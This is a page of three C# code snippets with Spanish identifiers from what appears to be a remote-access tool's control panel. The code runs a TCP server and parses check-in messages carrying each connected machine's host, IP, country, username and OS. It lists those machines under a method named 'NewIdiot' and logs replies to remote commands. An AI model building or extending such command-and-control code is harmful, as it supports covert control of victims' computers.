Esempio n. 1
0
        void evento_panel_control(ServerManager vengo, string data)
        {
            Match regex = Regex.Match(data, "-ACATOY-LLEGUE-ACATOY--(.*)--(.*)--(.*)--(.*)--(.*)--", RegexOptions.IgnoreCase);

            string host = regex.Groups[1].Value;
            string ip = regex.Groups[2].Value;
            string country = regex.Groups[3].Value;
            string username = regex.Groups[4].Value;
            string os = regex.Groups[5].Value;

            if (regex.Success) 
            {
                Invoke(new _NewIdiot(NewIdiot),vengo,host,ip,country,username,os); 
            }

            regex = Regex.Match(data,"-RtaCommand-(.*)-RtaCommand-", RegexOptions.IgnoreCase); 
            if (regex.Success) 
            {
                string respuesta = regex.Groups[1].Value;
                savefile("logs_console.out", respuesta);
            }
        }
Esempio n. 2
0
 void NewIdiot(ServerManager vengo,string host,string ip,string country,string username,string os)
 {
     ListViewItem agregar = new ListViewItem(); 
     agregar.Text = host;
     agregar.SubItems.Add(ip);
     agregar.SubItems.Add(country);
     agregar.SubItems.Add(username);
     agregar.SubItems.Add(os);
     agregar.Tag = vengo; 
     listView1.Items.Add(agregar); 
 }
Esempio n. 3
0
 public void panel_control()
 {
     tcp_server.Start();
     while (true)
     {
         ServerManager socket_server_now = new ServerManager(tcp_server.AcceptTcpClient()); 
         socket_server_now.evento_panel_control_now += new ServerManager.cargando_datos(evento_panel_control);
     }
 }